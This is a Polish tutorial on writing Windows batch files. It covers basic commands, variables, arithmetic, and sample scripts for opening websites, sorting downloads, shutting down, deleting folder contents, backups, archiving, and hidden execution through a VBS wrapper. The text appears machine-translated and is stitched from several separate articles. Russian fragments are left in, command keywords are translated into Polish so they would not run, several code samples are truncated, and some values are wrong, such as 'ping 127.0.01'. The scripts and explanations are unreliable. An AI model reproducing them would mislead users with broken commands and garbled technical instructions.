Podstawowe polecenia. polecenia pliku bat
Pliki bat systemu Windows to wygodny sposób wykonywania różnych zadań na komputerze, z którego aktywnie korzystają eksperci komputerowi. Pozwalają zautomatyzować codzienne zadania, skrócić czas ich realizacji i zamienić skomplikowany proces w coś wykonalnego dla przeciętnego użytkownika. W tym artykule przedstawiono podstawowe funkcje pliki wsadowe oraz zalecenia dotyczące samodzielnego ich pisania.
Automatyzacja stała się prosta
Jak utworzyć plik bat? Aby to zrobić, musisz wykonać następujące czynności:
- W dowolnym edytorze tekstu, na przykład Notatniku lub WordPadzie, utwórz dokument tekstowy.
- Wpisz w nim swoje polecenia, zaczynając od @echo, a następnie (każdorazowo w nowej linii) title [nazwa skryptu wsadowego], echo [wiadomość, która wyświetli się na ekranie] i pauza.
- Zapisz tekst w dokumencie elektronicznym z rozszerzeniem .bat (na przykład test.bat).
- Aby uruchomić, kliknij dwukrotnie nowo utworzony plik wsadowy.
- Aby go edytować, należy na niego kliknąć kliknij prawym przyciskiem myszy myszką i wybierz „Zmień” z menu kontekstowego.
Surowy plik będzie wyglądał mniej więcej tak:
tytuł To jest Twój pierwszy skrypt w pliku bat!
echo Witamy w skrypcie przetwarzanie wsadowe!
Poniżej omówimy bardziej szczegółowo polecenia pliku bat i ich zastosowanie.
Krok 1: Utwórz skrypt oprogramowania
Załóżmy, że użytkownik często ma problemy z siecią. Ciągle korzysta z wiersza poleceń, wpisując ipconfig i pingując Google, aby rozwiązać problemy z siecią. Po chwili użytkownik zdaje sobie sprawę, że znacznie efektywniej byłoby, gdyby napisał prosty plik bat, zapisał go na swoim dysku USB i uruchomił na diagnozowanych przez siebie komputerach.
Tworzenie nowego dokumentu tekstowego
Plik wsadowy ułatwia wykonywanie powtarzalnych zadań na komputerze przy użyciu wiersza poleceń systemu Windows. Poniżej znajduje się przykład skryptu odpowiedzialnego za wyświetlenie tekstu na ekranie. Przed utworzeniem pliku bat należy kliknąć prawym przyciskiem myszy puste miejsce w katalogu i wybrać „Utwórz”, a następnie „Dokument tekstowy”.
Dodawanie kodu
Dwukrotne kliknięcie tego nowego dokumentu tekstowego spowoduje otwarcie domyślnego edytora tekstu. Możesz skopiować i wkleić powyższy przykładowy kod do wpisu tekstowego.
Oszczędność
Powyższy skrypt wyświetla na ekranie tekst „Witamy w skrypcie przetwarzania wsadowego!”. Dokument elektroniczny należy zapisać poprzez wybranie pozycji menu edytor tekstu„Plik”, „Zapisz jako”, a następnie określ żądaną nazwę pliku bat. Należy go uzupełnić rozszerzeniem .bat (np. Welcome.bat) i kliknąć OK. Dla prawidłowe wyświetlanie Cyrylica w niektórych przypadkach powinna upewnić się, że kodowanie zostało wybrane prawidłowo. Na przykład podczas korzystania z zrusyfikowanej konsoli Systemy Windows Dokument NT musi zostać zapisany w CP866. Teraz powinieneś dwukrotnie kliknąć skrót do pliku bat, aby go aktywować.
Ale na ekranie pojawi się następujący komunikat:
„Witamy w skrypcie wsadowym! Naciśnij dowolny klawisz, aby kontynuować…”
Jeśli plik bat nie uruchomi się, użytkownicy zalecają przejście do rejestru i usunięcie klucza:
„HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.BAT\UserChoice.”
Nie myśl, że to wszystko, co mogą zrobić skrypty wsadowe. Parametry skryptu to zmodyfikowane wersje poleceń wiersza poleceń, więc użytkownik jest ograniczony jedynie swoimi możliwościami. A są one dość rozbudowane.
Krok 2: Poznaj niektóre polecenia
Jeśli użytkownik komputera PC wie, jak wykonywać polecenia konsoli DOS, będzie mistrzem w tworzeniu skryptów programowych, ponieważ są one w tym samym języku. Linie w plikach bat powiedzą interpreterowi cmd.exe wszystko, co jest od niego wymagane. Oszczędza to czas i wysiłek. Ponadto możliwe jest określenie pewnej logiki (na przykład prostych pętli, warunków warunkowych itp., które koncepcyjnie są podobne do programowania proceduralnego).
Wbudowane polecenia
1. @echo to polecenie pliku bat, które pozwala zobaczyć skrypt działający w wierszu poleceń. Służy do przeglądania postępu kodu produkcyjnego. Jeśli plik wsadowy zawiera jakiekolwiek problemy, to polecenie szybko je wyizoluje. Dodanie pozwala na szybkie zakończenie wykonywania kodu, unikając wyświetlania na ekranie niepotrzebnych informacji.
2. Tytuł zapewnia tę samą funkcjonalność co tag
3. Call wywołuje jeden plik bat z innego lub podprogram w ramach jednego skryptu. Na przykład funkcja mocy oblicza moc %2 z %1:
jeśli %counter% GTR 1 (
ustaw /licznik-=1
endlocal i ustaw wynik=%prod%
4. Cls oczyszcza wiersz poleceń. Służy do zapewnienia, że poprzednie wyjście obcego kodu nie zakłóca przeglądania postępu bieżącego skryptu.
5. Kolor ustawia kolor czcionki i tła. Na przykład, polecenie koloru f9 określa białe litery na niebieskim tle. Polecenie bez parametru przywraca ustawienia domyślne.
6. Echo służy do wyświetlania informacji, a także do włączania (echo on) lub wyłączania (echo off) takiego wyjścia. Na przykład polecenie echo. wypisuje nową linię bez kropki i echo . - punkt. Bez parametrów polecenie wyświetla informację o jego aktualnym stanie - echo włączone lub echo wyłączone.
7. Rem zapewnia tę samą funkcjonalność co tag
8. Pauza umożliwia przerwanie wykonywania poleceń zawartych w pliku bat. Dzięki temu możliwe jest odczytanie wykonanych linii przed kontynuowaniem programu. W takim przypadku na ekranie wyświetli się komunikat „Aby kontynuować, naciśnij dowolny klawisz...”.
9. Set umożliwia przeglądanie lub ustawianie zmiennych środowiskowych. Dzięki przełącznikowi /p polecenie monituje użytkownika o wprowadzenie danych i je zapisuje. Dzięki parametrowi /a umożliwia wykonanie prostych operacji arytmetycznych, również przypisując ich wynik do zmiennej. Podczas wykonywania operacji na ciągach znaków nie powinno być spacji ani przed, ani po znaku równości. Na przykład polecenie set wyświetla listę zmiennych środowiskowych, set HOME wyświetla wartości argumentów rozpoczynające się od „HOME”, a set /p input=wprowadź liczbę całkowitą: pyta o liczbę całkowitą i przypisuje ją do odpowiedniej zmiennej.
10. Start „” [strona internetowa] uruchomi określoną witrynę w Twojej domyślnej przeglądarce internetowej.
11. If służy do sprawdzania określonego warunku. Jeśli jest prawdziwy, wykonywane jest kolejne polecenie. Istnieją 3 rodzaje warunków:
- ERRORLEVEL liczba - sprawdza kod zakończenia ostatniej wykonanej instrukcji, aby sprawdzić, czy jest zgodny lub przekracza określoną liczbę. W tym przypadku 0 oznacza pomyślne wykonanie zadania, a każda inna liczba, zwykle dodatnia, oznacza błąd. Na przykład możesz użyć poleceń zagnieżdżonych, aby wskazać kod zakończenia: jeśli poziom błędu 3, jeśli nie poziom błędu 4, wystąpił błąd echo nr 3.
- Linia1 == linia2 - sprawdzanie, czy dwa ciągi znaków pasują do siebie. Na przykład, jeśli nie ma parametru zewnętrznego, polecenie if "%1"= ="" goto ERROR przekaże kontrolę do etykiety ERROR.
- ISTNIEJĄca nazwa - sprawdza istnienie pliku o podanej nazwie. Na przykład, jeśli nie istnieje A:\program.exe KOPIUJ C:\PROJECTS\program.exe A: kopiuje program.exe na dysk A, jeśli go tam nie ma.
12. Else musi znajdować się w tej samej linii co polecenie If. Wskazuje, że jeśli wyrażenie ma wartość false, należy wykonać następną instrukcję.
13. For służy do powtarzania pewnych działań na każdym elemencie listy. Ma format %%argument w poleceniu (list) do. Argumentem może być dowolna litera od A do Z. Lista jest ciągiem ciągów oddzielonych spacjami lub przecinkami. Można również używać symboli wieloznacznych. Na przykład:
- dla %%d w (A, C, D) wykonaj DIR %%d - wyświetla po kolei katalogi dysków A, C i D;
- dla %%f in (*.TXT *.BAT *.DOC) do TYPE %%f - wypisuje zawartość wszystkich plików .txt, .bat i .doc w bieżącym katalogu;
- dla %%P w (%PATH%) wykonaj, jeśli istnieje %%P\*.BAT COPY %%P\*.BAT C:\BAT - kopiuje wszystkie pliki wsadowe istniejące we wszystkich katalogach trasy wyszukiwania do C: \ folder WAT.
14. Dwukropek (:) przed słowem tworzy z niego łącze, co pozwala na pominięcie jego części kod programu albo wróć. Używane z poleceniami Call i Goto, wskazujące, od którego momentu wykonywanie pliku bat powinno być kontynuowane, na przykład po spełnieniu określonego warunku:
15. Zmienne:
- %%a reprezentuje każdy plik w folderze;
- %CD% - bieżący katalog;
- %DATA% - data systemowa, którego format zależy od lokalizacji;
- %CZAS% - czas systemowy w postaci GG:MM:SS.mm.;
- %RANDOM% - wygenerowana liczba pseudolosowa z zakresu od 0 do 32767;
- %ERRORLEVEL% - kod wyjścia zwrócony przez ostatnio wykonane polecenie lub skrypt bat.
Możesz wyodrębnić część ciągu zawartego w zmiennej, biorąc pod uwagę jej położenie i długość, w następujący sposób:
%[zmienna]:~[początek],[długość]%. Na przykład możesz wyświetlić datę w formacie DD/MM/RRRR jako RRRR-MM-DD w następujący sposób: echo %DATE:~6,4%-%DATE:~3,2%-%DATE:~0,2%.
16. („”. ”) - folder główny. Pracując z konsolą, przed zmianą nazwy pliku, usunięciem go itp. należy skierować akcję polecenia do określonego katalogu. Jeśli używasz pliku wsadowego, po prostu uruchom go w dowolnym żądanym katalogu.
17. %cyfra - akceptuje wartości parametrów przekazane przez użytkownika do pliku bat. Można je oddzielić spacjami, przecinkami lub dwukropkami. „Cyfra” to liczba z zakresu od 0 do 9. Na przykład %0 przyjmuje wartość bieżącego polecenia. %1 odpowiada pierwszemu parametrowi itd.
18. Przesunięcie – komenda służąca do przesunięcia parametrów wejściowych o jedną pozycję. Używane, gdy argumenty zewnętrzne są przekazywane do pliku wsadowego. Na przykład następujący plik bat kopiuje pliki określone jako parametry w wierszu poleceń na dysk D:
jeśli nie (%1)==() przejdź dalej
Ponadto możesz wykonać następujące manipulacje argumentami:
- %~ - usuń otaczające cudzysłowy;
- %~f - rozwiń parametr do pełnej nazwy ścieżki wraz z nazwą dysku;
- %~d - pokaż nazwę dysku;
- %~p - wyświetl tylko ścieżkę;
- %~n - wybierz z parametru tylko nazwę pliku;
- %~x - pozostaw tylko rozszerzenie;
- %~s - przekonwertuj ścieżkę na reprezentację o krótkich nazwach;
- %~a - wyodrębnij atrybuty pliku;
- %~t - wyświetl datę i godzinę utworzenia;
- %~z - wyświetl rozmiar pliku;
- %~$PATH: - przeszukuje katalogi wymienione w zmienna środowiskowa PATH i rozwija parametr do pierwszej pasującej, w pełni kwalifikowanej nazwy lub zwraca pusty ciąg w przypadku niepowodzenia.
Symbole wieloznaczne
Wiele poleceń akceptuje wzorce nazw plików - znaki umożliwiające dopasowanie grupy nazw plików. Symbole wieloznaczne obejmują:
- * (gwiazdka) - oznacza dowolny ciąg znaków;
- ? (znak zapytania) - zastępuje jeden (lub 0) znak inny niż kropka (.).
Na przykład polecenie dir *.txt wyświetla listę plików txt, a polecenie dir ???.txt wyświetla listę dokumenty tekstowe, którego długość nazwy nie przekracza 3 liter.
Funkcje
Podobnie jak podprogramy, są one emulowane za pomocą poleceń call, setlocal, endlocal i label. Poniższy przykład ilustruje możliwość zdefiniowania zmiennej, w której wynik zostanie zapisany na linii wywołania:
wywołanie: powiedz wynik = świat
Obliczenia
W plikach bat można wykonywać proste operacje arytmetyczne na 32-bitowych liczbach całkowitych i bitach za pomocą polecenia set /a. Maksymalna obsługiwana liczba to 2^31-1 = 2147483647, a minimalna to -(2^31) = -2147483648. Składnia przypomina język programowania C. Operatory arytmetyczne obejmują: *, /,%, +, -. W pliku bat % (reszta z dzielenia liczb całkowitych) należy wpisać jako „%%”.
Operatory liczb binarnych interpretują liczbę jako sekwencję 32-bitową. Należą do nich: ~ (bitowe NOT lub uzupełnienie), & (AND), | (OR), ^ (wyłącznie OR),<< (сдвиг влево), >> (przesunięcie w prawo). Logicznym operatorem negacji jest! (wykrzyknik). Zmienia 0 na 1, a wartość różną od zera na 0. Operatorem kombinacji jest (przecinek), który umożliwia wykonanie większej liczby operacji w jednym poleceniu ustawiającym. Połączone operatory przypisania += i -= w wyrażeniach a+=b i a-=i odpowiadają wyrażeniom a=a+b i a=a-b. *=, %=, /=, &=, |=, ^=, >>=, postępuj w ten sam sposób.<<=. Приоритет операторов следующий:
(); %+-*/; >>, <<; &; ^; |; =, %=, *=, /=, +=, -=, &=, ^=, |=, <<=, >>=; ,
Literały można wprowadzać jako liczby dziesiętne, szesnastkowe (z wiodącym 0x) i ósemkowe (z wiodącym zerem). Na przykład set /a n1=0xffff przypisuje n1 wartość szesnastkową.
Polecenia zewnętrzne
- Exit służy do wyjścia z konsoli DOS lub (z opcją /b) tylko bieżącego pliku bat lub procedury.
- Ipconfig to klasyczne polecenie konsoli wyświetlające informacje o sieci. Obejmuje adresy MAC i IP oraz maski podsieci.
- Ping wysyła polecenie ping do adresu IP, wysyłając do niego pakiety danych w celu oszacowania jego odległości i opóźnienia (odpowiedź). Służy również do ustawiania pauzy. Na przykład polecenie ping 127.0.01 -n 6 wstrzymuje wykonywanie kodu na 5 sekund.
Biblioteka poleceń w plikach bat jest ogromna. Na szczęście w Internecie jest wiele stron zawierających listę wszystkich tych opcji wraz ze zmiennymi skryptów wsadowych.
Krok 3: Napisz i uruchom plik bat
Poniższy skrypt znacznie ułatwi Ci codzienną aktywność w Internecie. A co jeśli chcesz natychmiast otworzyć wszystkie swoje ulubione serwisy z wiadomościami? Ponieważ skrypty korzystają z poleceń konsoli, można utworzyć skrypt otwierający każdy kanał wiadomości w jednym oknie przeglądarki.
Następnie należy powtórzyć proces tworzenia pliku bat, zaczynając od pustego dokumentu tekstowego. Aby to zrobić, kliknij prawym przyciskiem myszy puste miejsce w dowolnym folderze i wybierz „Nowy”, a następnie „Dokument tekstowy”. Po otwarciu pliku należy wpisać następujący skrypt, który uruchomi główne rosyjskojęzyczne media dostępne w Internecie:
zacznij „” http://fb.ru
zacznij „” http://www.novayagazeta.ru
rozpocznij „” http://echo.msk.ru
rozpocznij „” http://www.kommersant.ru
zacznij „” http://www.ng.ru
uruchom „” http://meduza.io
zacznij „” https://news.google.com/news/?ned=ru_ru&hl=ru
Skrypt ten zawiera polecenia start „”, które otwierają kilka kart. Sugerowane linki możesz zastąpić dowolnymi innymi, według własnego uznania. Po wpisaniu skryptu należy przejść do menu „Plik” edytora, a następnie do „Zapisz jako...” i zapisać dokument z rozszerzeniem .bat, zmieniając parametr „Typ pliku” na „Wszystkie pliki” (* . *).
Po zapisaniu, aby uruchomić skrypt wystarczy dwukrotnie na niego kliknąć. Strony internetowe natychmiast zaczną się ładować. Jeśli chcesz, możesz umieścić ten plik na swoim pulpicie. Umożliwi to natychmiastowy dostęp do wszystkich Twoich ulubionych witryn.
Organizator
Jeśli będziesz pobierać kilka plików dziennie, wkrótce w folderze „Pobrane” zgromadzi się ich setki. Możesz utworzyć skrypt, który uporządkuje je według typu. Wystarczy umieścić plik .bat z programem w folderze z niezorganizowanymi danymi i kliknąć dwukrotnie, aby uruchomić:
rem Każdy plik w folderze
dla %%a w (".\*") wykonaj (
rem sprawdź obecność rozszerzenia i nienależność do tego skryptu
if "%%~xa" NEQ "" if "%%~dpxa" NEQ "%~dpx0" (
rem sprawdź obecność folderu dla każdego rozszerzenia, a jeśli go tam nie ma, utwórz go
jeśli nie istnieje "%%~xa" mkdir "%%~xa"
rem przenieś plik do folderu
przesuń "%%a" "%%~dpa%%~xa\"
W rezultacie pliki w katalogu „Pobrane” są sortowane w foldery, których nazwy odpowiadają ich rozszerzeniom. To takie proste. Ten skrypt wsadowy działa z dowolnym typem danych, niezależnie od tego, czy jest to dokument, wideo czy audio. Nawet jeśli komputer ich nie obsługuje, skrypt i tak utworzy folder z odpowiednią etykietą. Jeśli istnieje już katalog JPG lub PNG, program po prostu przeniesie tam pliki z tym rozszerzeniem.
To prosta demonstracja możliwości skryptów wsadowych. Ilekroć trzeba powtarzać proste zadanie, np. organizowanie plików, otwieranie wielu stron internetowych, zbiorcza zmiana nazw lub tworzenie kopii ważnych dokumentów, skrypt wsadowy może pomóc w wykonaniu tej żmudnej pracy za pomocą kilku kliknięć.
Zastosowanie interfejsu graficznego w dzisiejszych systemach operacyjnych wydaje się czymś oczywistym i całkowicie naturalnym, jednak nie zawsze tak było. Pierwszy system operacyjny, MS DOS, opracowany przez Microsoft, nie posiadał graficznego interfejsu użytkownika i sterowano nim za pomocą poleceń tekstowych. Od tego czasu minęło prawie 40 lat, a język skryptowy wiersza poleceń jest nadal popularny i to nie tylko wśród programistów.
Linia poleceń nie jest zbyt wygodna, ale za jej pomocą można wykonywać operacje, których nie da się wykonać z poziomu GUI. Natomiast każdorazowe uruchamianie konsoli, wpisywanie do niej poleceń po kolei – to wszystko mocno spowalnia pracę. Można jednak znacznie uprościć zadanie tworząc plik bat lub po prostu plik wsadowy – plik tekstowy z rozszerzeniem BAT zawierający listę instrukcji przetwarzanych przez interpreter poleceń CMD. Pliki takie służą do automatyzacji różnych zadań, na przykład do terminowego usuwania plików tymczasowych lub uruchamiania programów.
Jak utworzyć plik z rozszerzeniem BAT
Jak więc utworzyć plik bat w systemie Windows 7/10? Bardzo proste. Aby to zrobić, będziesz potrzebować dowolnego edytora tekstu i znajomości podstaw wiersza poleceń. Możesz użyć Notatnika lub jeszcze lepiej Notepad++, ponieważ ten ostatni ma podświetlanie składni. Utwórz w edytorze nowy plik, w menu „Plik” wybierz „Zapisz jako”, nadaj przyszłemu skryptowi nazwę, a z rozwijanej listy „Typ pliku” wybierz „Plik wsadowy (*bat; *cmd; *nt)”.
Jeśli chcesz użyć Notatnika do utworzenia pliku bat, musisz ręcznie przypisać rozszerzenie i wybrać „Wszystkie pliki” z listy „Typ pliku”.
Jak widać, utworzenie pliku z rozszerzeniem bat nie jest trudne; są tu jednak pewne subtelności. W plikach poleceń nie można stosować podziałów wierszy; kodowanie pliku bat musi być ustawione na UTF-8; jeżeli w treści skryptu zastosowano cyrylicę, należy zmienić kodowanie, wstawiając w odpowiednim miejscu polecenie chcp 1251.
Zamiast rozszerzenia BAT można zastosować CMD, efekt wykonania skryptu będzie dokładnie taki sam.
Podstawowe polecenia, składnia i przykłady wykorzystania plików wsadowych
Wiesz jak zrobić plik bat, teraz czas na najciekawszą część, czyli składnię języka interpretera CMD. Oczywiste jest, że pusty plik wsadowy nie będzie działać, nie uruchomi się nawet po dwukrotnym kliknięciu. Aby skrypt zadziałał musi być w nim zapisane przynajmniej jedno polecenie. Dla wizualnego przykładu zobaczmy, jak napisać plik bat w celu uruchomienia programów. Załóżmy, że rozpoczynając pracę, za każdym razem uruchamiasz trzy programy - Chrome, Firefox i VLC. Uprośćmy zadanie, tworząc skrypt, który sam będzie uruchamiał te programy w odstępach pięciosekundowych.
Otwórz pusty plik wsadowy i wklej do niego następujące polecenia:
Start "" "C:/Program Files/Google/Chrome/Application/chrome.exe" limit czasu /t 05 start "" "C:/Program Files/Mozilla Firefox/firefox.exe" limit czasu /t 05 start "" "C :/Program Files/VideoLAN/VLC/vlc.exe"
Zespół start uruchamia plik wykonywalny żądanego programu i polecenie przekroczenie limitu czasu/t ustawia odstęp między startami. Zwróć uwagę na rozmieszczenie cudzysłowów - zawierają one ścieżki zawierające spacje. Ponadto, jeśli w ścieżce znajdują się znaki cyrylicy, należy na początku skryptu wstawić polecenie zmieniające kodowanie chcp 1251, w przeciwnym razie interpreter nie będzie w stanie poprawnie odczytać ścieżki.
Po uruchomieniu skryptu zostaną kolejno otwarte cztery okna konsoli; jest to normalne; po wykonaniu poleceń wszystkie zostaną automatycznie zamknięte, jednakże możesz upewnić się, że otworzy się tylko pierwsze okno. W tym celu należy zmienić kod uruchomienia aplikacji w następujący sposób:
Start /b "" "ścieżka"
Może się również zdarzyć, że w pewnym momencie konieczne będzie wstrzymanie wykonywania skryptu, aby użytkownik mógł zdecydować, czy wykonać wszystkie pozostałe polecenia, czy nie. Jest na to polecenie pauza. Spróbuj zastąpić nim limit czasu i zobacz, co się stanie.
Start /b "" "ścieżka" pauza
Spójrzmy na inny przykład poleceń dla pliku bat. Napiszmy skrypt, który w jednym przypadku wyłączy komputer i uruchomi go ponownie w innym. W tym celu użyjemy polecenia zamknięcie z parametrami /S, /R I /T. Jeśli chcesz, możesz dodać żądanie wykonania akcji do pliku treści, na przykład:
@echo off chcp 1251 echo "Czy na pewno chcesz wyłączyć komputer?" przerwa w wyłączeniu /s /t 0
Wyjaśnijmy. Pierwsze polecenie ukrywa tekst samych poleceń, drugie - ustawia kodowanie cyrylicy, trzecie - wyświetla komunikat dla użytkownika, czwarte - ustawia pauzę, piąte - wyłącza się, a za pomocą klawisza /R zamiast /S uruchamia ponownie komputer bez tradycyjnego jednominutowego opóźnienia. Jeśli nie chcesz trwać w ceremonii z prośbami i przerwami, możesz pozostawić tylko piąte polecenie.
Jeśli zamiast rosyjskiego tekstu podczas wykonywania polecenia zobaczysz kryakozyabra, spróbuj przekonwertować plik skryptu na ANSI.
Co jeszcze można zrobić ze skryptami? Wiele rzeczy, na przykład usuwanie, kopiowanie lub przenoszenie plików. Załóżmy, że masz określony folder danych w katalogu głównym dysku D, którego zawartość należy wyczyścić za jednym zamachem. Otwórz plik wsadowy i wklej do niego następujące polecenie:
Usuń /A /F /Q „D:/dane”
Możesz też to zrobić:
Forfiles /p "D:/data" /s /m *.* /c "cmd /c Del @ścieżka"
W przeciwieństwie do pierwszego, drugie polecenie usuwa pliki rekursywnie, to znaczy wszystkie pliki w folderze danych zostaną usunięte oraz te znajdujące się w podkatalogach.
Oto kolejny przydatny przykład. Napiszmy skrypt, który utworzy kopię zapasową zawartości jednego folderu i zapisze dane w innym. Polecenie odpowiada za kopiowanie robokopia:
Robocopy C:/data D:/backup /e pauza
Uruchamiając taki plik wsadowy do wykonania, skopiujesz całą zawartość folderu danych do folderu kopii zapasowej, łącznie z podkatalogami, pustymi i zawierającymi pliki. Nawiasem mówiąc, polecenie robocopy ma wiele parametrów, które pozwalają bardzo elastycznie konfigurować parametry kopiowania.
Uruchom pliki bat jako administrator i zgodnie z harmonogramem, ukryte uruchamianie nietoperzy
Teraz wiesz, jak tworzyć pliki wsadowe i masz ogólną wiedzę na temat języka interpretera CMD. To były podstawy, teraz czas zapoznać się z kilkoma przydatnymi funkcjami pracy z plikami bat. Wiadomo, że programy do wykonania niektórych czynności wymagają uprawnień administratora. Batnicy również mogą ich potrzebować. Najbardziej oczywistym sposobem uruchomienia skryptu jako administrator jest kliknięcie go prawym przyciskiem myszy i wybranie odpowiedniej opcji z menu kontekstowego.
Ponadto możesz mieć pewność, że określony plik wsadowy będzie zawsze uruchamiany z podwyższonymi uprawnieniami. W tym celu należy utworzyć zwykły skrót do takiego skryptu, otworzyć jego właściwości, kliknąć przycisk „Zaawansowane” i w oknie, które zostanie otwarte, zaznaczyć pole „Uruchom jako administrator”. Ta metoda jest również dobra, ponieważ pozwala wybrać dowolną ikonę skrótu, a plik z rozszerzeniem BAT lub CMD zawsze będzie miał nieokreślony wygląd.
Skrypty, podobnie jak wszystkie aplikacje, można uruchamiać zgodnie z harmonogramem. Zespół przekroczenie limitu czasu/t nie jest tutaj całkowicie odpowiednie; w przypadku opóźnionego uruchomienia najlepiej skorzystać z wbudowanego Harmonogramu zadań systemu Windows. Tutaj wszystko jest proste. Otwórz za pomocą polecenia zadaniachd.msc Harmonogram, wybierz wyzwalacz, wybierz akcję „Uruchom program” i określ ścieżkę do pliku bat. To wszystko, skrypt zostanie uruchomiony w zaplanowanym czasie.
I na koniec jeszcze jedna interesująca kwestia. Po uruchomieniu pliku bat na ekranie pojawia się okno wiersza poleceń, nawet jeśli tylko na ułamek sekundy. Czy jest możliwość uruchomienia skryptu w trybie ukrytym? Jest to możliwe i to na kilka sposobów. Najprostszy sposób jest następujący. Utwórz skrót do pliku bat, otwórz jego właściwości i wybierz „Zwinięty do ikony” z menu „Okno”. Następnie jedyną widoczną oznaką działania skryptu będzie pojawienie się ikony CMD na pasku zadań, ale żadne okno się nie otworzy.
Jeśli chcesz całkowicie ukryć wykonanie skryptu, możesz użyć „kuli” - skryptu VBS, który uruchomi Twój plik wsadowy w trybie ukrytym. Tekst skryptu znajduje się poniżej, zapisz go do pliku ukryty.vbs, po wcześniejszym zastąpieniu ścieżki w drugim wierszu kodu D:/script.batścieżka do pliku body.
Ustaw WshShell = CreateObject("WScript.Shell") WshShell.Run chr(34) & "D:\script.bat" & Chr(34), 0 Ustaw WshShell = Nic
Istnieją również inne opcje, na przykład użycie narzędzia Ukryty początek, który umożliwia uruchamianie plików wykonywalnych i wsadowych w trybie ukrytym, w tym bez zaproszenia.
I to wszystko na teraz. Informacje dotyczące tworzenia skryptów BAT można łatwo znaleźć w Internecie. Dobrym pomysłem jest również zapoznanie się z samouczkiem dotyczącym wiersza poleceń systemu Microsoft Windows autorstwa Williama Stanka. Pomimo tego, że od publikacji książki minęło ponad dziesięć lat, informacje w niej zawarte są nadal aktualne.
W tym artykule przyjrzymy się tak przydatnej rzeczy, jak „ plik wsadowy" Najpierw zdefiniujmy, czym jest plik bat. Pliki wsadowe lub wsadowe to proste pliki tekstowe zawierające zestawy poleceń ( instrukcje) interpreter i posiadający rozszerzenie bat lub cmd ( cmd działa tylko w systemach z rodziny NT). Możesz tworzyć i edytować takie pliki za pomocą zwykłego notatnika lub dowolnego innego edytora tekstu.
Teraz możesz zapytać, dlaczego musisz mieć możliwość pisania takich plików nietoperza? Dlaczego są potrzebne? Spróbuję wyjaśnić.
Po pierwsze, służą one ułatwieniu pracy, tj. na przykład musisz stale wykonywać jakąś operację każdego dnia ( na przykład utwórz archiwum określonych dokumentów), za pomocą pliku body, można to zautomatyzować i nie będziesz już w tym uczestniczyć.
Po drugie, te pliki wsadowe są bardzo potężne ( jeśli oczywiście wiesz, jak je napisać), tj. Możesz nawet napisać dobry program ( Mam na myśli funkcjonalność). Osobiście bardzo mi pomagają w pracy, a robiąc to ręcznie, po prostu o niektórych rzeczach zapomniałem.
Przejdźmy teraz bezpośrednio do podstaw tych plików wsadowych. Jak powstają? Wystarczy stworzyć prosty dokument tekstowy, otworzyć go i od razu przejść do zakładki „ Plik->zapisz jako", wpisz zamiast rozszerzenia " Dokument tekstowy.txt", Na przykład " Dokument tekstowy.bat" i zapisz, więc otrzymamy plik wsadowy z rozszerzeniem .bat, ale to jeszcze nic nie robi.
Na początek podam przykład pliku wsadowego, którego używam w swojej pracy do archiwizacji dokumentów.
"C:\Program Files\WinRAR\winrar.exe" a -r -dh -ed -agYYYY-mm-dd E:\arhaccounts\ d:\accounts\*.doc "C:\Program Files\WinRAR\winrar. exe" a -r -dh -ed -agYYYY-mm-dd E:\arhaccounts\ d:\accounts\*.xls "C:\Program Files\WinRAR\winrar.exe" a -r -dh -ed -agYYYY -mm-dd E:\arhaccounts\ d:\accounts\*.txt
Teraz opowiem Ci trochę o tym, co robi ten plik wsadowy. Uruchamia się WinRar, następnie pojawiają się polecenia WinRar:
- a to dodanie do archiwum;
- -r - podfoldery procesów;
- -dh – otwiera udostępnione pliki;
- -ed - nie dodawaj puste foldery;
- RRRR-mm-dd - dodaj aktualną datę do nazwy archiwum ( format daty);
- E:\arhaccounts\ - ścieżka, w której będzie zlokalizowane ostateczne archiwum;
- d:\accounts\*.doc — ścieżka i maska plików wymagających archiwizacji.
W tym przypadku archiwizujemy wszystkie pliki Word, Excel i tekstowe; reszty nie musimy archiwizować. Nasza archiwizacja trafia na inny dysk, a powstałe archiwum kopiujemy także na inny komputer, dzięki czemu archiwa są przechowywane w innym biurze. Kopiowanie odbywa się poprzez sieć, dlatego komputer, na który kopiowane jest archiwum, musi być włączony. Aby to zrobić, możesz użyć następującego polecenia:
Skopiuj E:\arhaccounts\*.rar \\namecomp\arhiv\
Przykłady poleceń dla plików bat
Przyjrzyjmy się teraz podstawowym poleceniom, których możesz użyć.
Jeżeli chcesz usunąć plik, napisz co następuje:
Usuń d:\plik\test.doc
Aby usunąć cały katalog napisz:
Rd d:\plik\
Jeśli za każdym razem musisz usunąć wszystko z jakiegoś katalogu, użyj tego:
Echo Y| del d:\plik\
- del d:\file\ - to jest dokładnie usunięcie wszystkich plików;
- echo Y| — polecenie potwierdza usunięcie, ponieważ Jeśli nie wpiszesz tego polecenia, pojawi się komunikat potwierdzający usunięcie - „Kontynuuj” i za każdym razem będziesz musiał odpowiedzieć na to pytanie.
Spójrzmy teraz na bardziej skomplikowany przykład, w którym warunek jest już spełniony:
@echo off "C:\Program Files\WinRAR\winrar.exe" x -O+ -IBCK d:\test\test.rar d:\test JEŚLI nie ISTNIEJE d:\test\123.rar GOTO 1 JEŚLI ISTNIEJE d: \test\123.rar GOTO 2:2 "C:\Program Files\WinRAR\winrar.exe" x -O+ -IBCK d:\test\123.rar c:\ del d:\test\123.rar:1 del d:\test\test.rar koniec
Teraz wyjaśnię, powiedzmy, że musisz rozpakować archiwum test.rar, które będzie zawierać wiele plików, ale jeśli jest tam plik 123.rar, trzeba będzie go rozpakować do katalogu głównego dysku C, a reszta plików pozostanie nietknięta w tym samym katalogu.
W tym celu potrzebne jest polecenie @echo off, aby nic nie odbijało się na ekranie ( w zasadzie, jeśli nie musisz, możesz pominąć pisanie tej linii). Następnie uruchamiamy Winrar i rozpakowujemy archiwum test.rar do folderu test. Następnie pojawia się warunek if w folderze testowym ( po rozpakowaniu test.rar) nie mamy pliku 123.rar, to po prostu wykonujemy plik wsadowy i przechodzimy do linii: 1, a następnie po prostu usuwamy plik test.rar, ponieważ nie jest to konieczne, ponieważ Rozpakowaliśmy już wszystko, czego potrzebujemy. Jeżeli jednak jest tam plik 123.rar to wykonanie pliku wsadowego przechodzi do linii: 2, po czym plik 123.rar jest już rozpakowywany do katalogu głównego dysku C. Innymi słowy mamy warunek spełniony , jeśli jest plik, zrób to, jeśli nie ma pliku, zrób to. Załóżmy, że jeśli nie określimy warunku w tym przykładzie, nasz plik wsadowy zwróci błąd, gdy nie będziemy mieć pliku 123.rar w tym folderze.
